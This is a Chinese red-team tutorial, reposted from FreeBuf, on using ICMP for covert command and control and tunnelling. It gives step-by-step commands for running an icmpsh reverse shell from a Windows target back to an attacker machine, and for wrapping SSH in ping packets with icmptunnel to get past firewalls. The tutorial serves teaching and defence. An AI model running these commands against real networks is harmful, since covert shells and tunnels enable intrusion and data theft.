前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用ICMP进行命令控制和隧道传输

利用ICMP进行命令控制和隧道传输

作者头像
FB客服
发布于 2019-08-21 13:46:32
发布于 2019-08-21 13:46:32
1.6K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

在这篇文章中,你会了解到通过ICMP命令控制和ICMP隧道进行数据窃取的RED TEAM行动,使用这两种方法在网络中产生的畸形流量,有助于规避防火墙规则。

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

网络层中的ICMP包

Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活。

利用ICMP协议进行命令控制

我们发布的很多内容中都讨论了C2通道,又叫做命令控制,具体内容可以在这里找到。而在这篇文章中,你会了解到如何将ICMP协议用作命令控制通道。网络战中散布着入侵者和安全研究人员,因此,我们需要备用计划。

众所周知,现在的公司变得更加智能,他们可以理解例如类型相关的攻击在实现了机器的TCP反弹连接。因此我们提出了使用icmpsh作为命令控制工具的一种ICMP隐蔽shell的实现方法。

环境要求

攻击机/C2通道:192.168.1.108(Kali Linux

宿主机:192.168.1.106(Windows 10)

icmpsh:C2通道与安装方法

icmpsh是一个简单的ICMP反弹shell,拥有用C,PerlPython实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说,icmpsh的优点是在目标机器上运行时不需要管理员权限。

这一工具干净、简单并且便携。受控端(客户端)使用C语言实现。只能运行在目标Windows机器上,而主控端(服务端)由于已经有Nico Leidecker用C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。

Icmpsh很容易被安装并用作c2通道。可以通过Github下载并在攻击者机器中部署icmpsh。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/inquisb/icmpsh.git
以主模式运行icmpsh(Kali Linux)

下载完成之后,使用以下命令来运行主控端。执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1cd icmpshsyntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>./icmpsh_m.py 192.168.1.108 192.168.1.106
以从模式运行icmpsh(Windows 10)

在宿主机器中以从模式再次安装icmpsh工具,运行受控端的目标机器中的用户不需要具有管理员权限。然后运行以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
syntax: icmpsh.exe -t <Kali IP>icmpsh.exe -t 192.168.1.108

在宿主机上执行完上述命令后,攻击者就会收到运行着受控端的机器的反弹shell。你可以从下面给出的图片中观察到,这台主控端机器通过受控端机器返回的命令提示符获取了其控制权。

和我们预期的结果完全一样,而且由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。

ICMP隧道搭建

ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。在此我们会获取一个被封装到ICMP包中的ssh会话。这也需要在第三层,即网络层,建立一个封装在icmp载荷中的tcp连接,这样对于绕过防火墙规则可能也有一定的帮助。

环境要求

服务端机器:

ens33:192.168.1.108 tun0:10.0.0.1

客户端机器:

eth0: 192.168.1.111 tun0:10.0.0.2

icmptunnel是一个将IP流量封装到ICMP echo请求和回复(ping)包中的隧道工具,是在允许ping的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

虽然一些现有工具已经实现了这一技术,但在穿透状态防火墙和NAT方面,icmptunnel提供了一个更可靠的协议和机制。

在服务端机器(目标)上配置ICMP

在宿主机上下载并安装icmptunnel,按照下面图中的命令进行编译

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake

首先,在客户端和服务端都禁用ICMP echo回复。这样可以防止内核自己对ping包进行响应。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

在服务端(宿主机),以服务端模式启动icmptunnel,并且给新的隧道接口分配一个IP地址。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./icmptunnel -sCtrlzbg/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0ifconfig

在客户端机器(攻击者)上配置ICMP

类似地,在攻击者机器上重复同样的流程安装用于p2p连接的icmptunnel。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/jamesbarlow/icmptunnel.git

首先,对其进行编译,然后禁用ICMP echo回复防止内核自己对ping包进行响应。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd icmptunnelmakeecho 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all./icmptunnel 192.168.1.108ctrl z/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

通过ICMP连接SSH

到这里应该通过ICMP包建立了一个点对点隧道。服务端的隧道IP是10.0.0.1,客户端的隧道IP是10.0.0.2。尝试通过客户端上的tcp协议,SSH,来连接到服务端:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh raj@10.0.0.1

在初始阶段,icmp隧道就在服务端和客户端之间建立了连接,如下图我们借助Wireshark捕获的服务端和客户端之间的流量所示。

每个流量都是ICMP包。ICMP的载荷部分就是HTTP/IP包。HTTP/IP包会被加速传递到网络中。注意源IP是怎样由于nat存在而被改变的。因此,流量不会出现在通过22号端口连接SSH所使用的传输层中。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-08-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
内网学习笔记 | 6、ICMP隧道工具使用
在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping 数据包。
TeamsSix
2021/04/12
1.7K0
内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
谢公子
2022/01/19
3.6K0
内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
IMCP协议的魅力——IMCP隧道
1、ICMP隧道的建立同样是建立在ICMP未被防火墙禁用的情况下使用的,就是PING命令,其原理就是在ICMP报文传输的时候,替换其中的Data部分的数据,并且对端通过一样的工具进行ICMP畸形包的处理。从而将恶意流量隐藏在ICMP数据包中,形成ICMP隧道。
重生信息安全
2020/05/06
6630
内网隧道之ICMP隧道
ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求
Al1ex
2022/09/07
2.8K0
内网隧道之ICMP隧道
内网基础-隐藏通信隧道技术
当我们在外网打下一个点,通过arp,netstat,以及ifconifg(ipconfig)等信息收集,发现此点为dmz,可通内网,那么这时候我们需要在此点上搭建通向内网的隧道,为内网渗透打下坚实基础。
Gamma实验室
2021/03/25
2.1K0
内网基础-隐藏通信隧道技术
内网转发及隐蔽隧道 | 使用ICMP进行命令控制(Icmpsh)
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
谢公子
2022/01/19
8110
内网转发及隐蔽隧道 | 使用ICMP进行命令控制(Icmpsh)
ATT&CK视角下的红蓝对抗:十五.内网穿透之利用ICMP协议进行隧道穿透
本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。
一只特立独行的兔先生
2023/11/12
6110
ATT&CK视角下的红蓝对抗:十五.内网穿透之利用ICMP协议进行隧道穿透
内网渗透基石篇-- 隐藏通信隧道技术(上)
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
顾翔
2021/05/17
2.6K0
内网渗透基石篇-- 隐藏通信隧道技术(上)
利用ICMP隧道加密隐藏通信Shell - 渗透红队笔记
ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下,每个Ping命令都有相对应的回复与请求。
渗透攻击红队
2020/11/25
1.7K0
利用ICMP隧道加密隐藏通信Shell - 渗透红队笔记
浅析Icmp原理及隐蔽攻击的方式
Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用
FB客服
2021/10/21
2.4K0
内网渗透测试研究:隐藏通讯隧道技术
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
FB客服
2020/07/09
2.1K0
内网渗透测试研究:隐藏通讯隧道技术
利用ICMP(icmpsh)协议反弹Shell - 渗透红队笔记
ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下,每个Ping命令都有相对应的回复与请求。
渗透攻击红队
2020/11/25
1.8K0
利用ICMP(icmpsh)协议反弹Shell - 渗透红队笔记
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
在后渗透中内网隧道是必不可少的,在能够TCP出网的情况下搭建隧道是最容易的,使用frp即稳定又方便,搭建几级代理都不是问题。但是也有很多TCP不出网的情况,在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术,我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境,其实很简单,都是windows自带防火墙的一些规则策略。通过各种尝试,终于完成此环境(不知道有没有别的问题),现在把过程分享给大家~路过的师傅都来看看呀,有不正确的地方求教教我^^
亿人安全
2022/06/30
2.5K0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
渗透测试战技101之nmap与icmp隧道
知识触发战技,战技刻意练习得到经验,经验反思源头,得到创新力。我们需要模仿与练习。——-sec875
FB客服
2021/08/24
7520
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
判断:445通讯 通过端口扫描是否开放445端口进行判断 上线:借助通讯后绑定上线 详见往期文章 通讯:直接SMB协议通讯即可
没事就要多学习
2024/07/18
2570
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
基于统计分析的ICMP隧道检测方法与实现
在企业内网环境中,ICMP协议是必不可少的网络通信协议之一,被用于检测网络连通状态,通常情况下,防火墙会默认放此协议。由于防火墙对ICMP协议开放,恶意攻击者常会利用ICMP协议进行非法通信。例如,在黑客攻击中经常出现一种情况是,黑客通过某一种方式取得了一台主机的权限,得到了一些文件,比如域hash,密码文件之类的东西,需要回传至本地进行破解,但是防火墙阻断了由内网发起的请求,只有icmp协议没有被阻断,而黑客又需要回传文件,这个时候如果黑客可以ping通远程计算机,就可以尝试建立ICMP隧道,ICMP隧道是将流量封装进 ping 数据包中,旨在利用 ping数据穿透防火墙的检测。现在市面上已经有了很多类似的工具了,比如 icmptunnel、ptunnel、icmpsh等。
FB客服
2019/05/15
2K0
基于统计分析的ICMP隧道检测方法与实现
通过ICMP协议反弹SHELL并执行命令
内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。
Ms08067安全实验室
2019/12/18
1.1K0
通过ICMP协议反弹SHELL并执行命令
内网隧道之icmpsh
最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定
中龙技术
2022/09/29
5450
内网隧道之icmpsh
内网转发及隐蔽隧道 | 使用DNS进行命令控制(dnscat2)
dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。严格的说,dnscat2是一个命令与控制工具。
谢公子
2022/01/19
4.5K0
内网转发及隐蔽隧道 | 使用DNS进行命令控制(dnscat2)
内网隧道穿透之流量检测与防护
在真实环境中,ICMP协议经常会被用来检测网络连通状态,而防火墙是会默认允许ICMP协议通信,因此越来越多的攻击者会利用ICMP协议进行非法通信,通过ICMP协议搭建隐蔽隧道加密恶意流量,从而对企业内网进行攻击。
一只特立独行的兔先生
2024/02/15
1.1K1
相关推荐
内网学习笔记 | 6、ICMP隧道工具使用
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验